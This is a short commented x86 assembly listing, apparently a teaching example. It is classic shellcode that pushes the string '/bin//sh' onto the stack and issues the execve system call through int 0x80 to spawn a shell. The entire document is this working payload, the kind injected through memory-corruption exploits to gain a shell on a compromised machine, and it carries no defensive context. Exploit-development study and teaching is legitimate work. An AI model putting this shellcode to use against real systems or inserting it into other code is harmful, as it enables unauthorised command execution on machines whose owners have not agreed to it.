BITS 32 section .text global _start _start: cont: xor eax, eax ; zero contents of eax push eax ; null terminator for "/bin//sh" push "hs//" ; push "/bin//sh" on stack push "nib/" ; has to be byte reversed mov ebx, esp ; save address of "/bin//sh" to ebx push eax ; write args[1] / null envp on stack mov edx, esp ; save address of envp in edx push ebx ; write args[0] on stack mov ecx, esp ; save args in ecx mov al, 0xb ; copy execve syscall number to %al int 0x80 ; execute the system call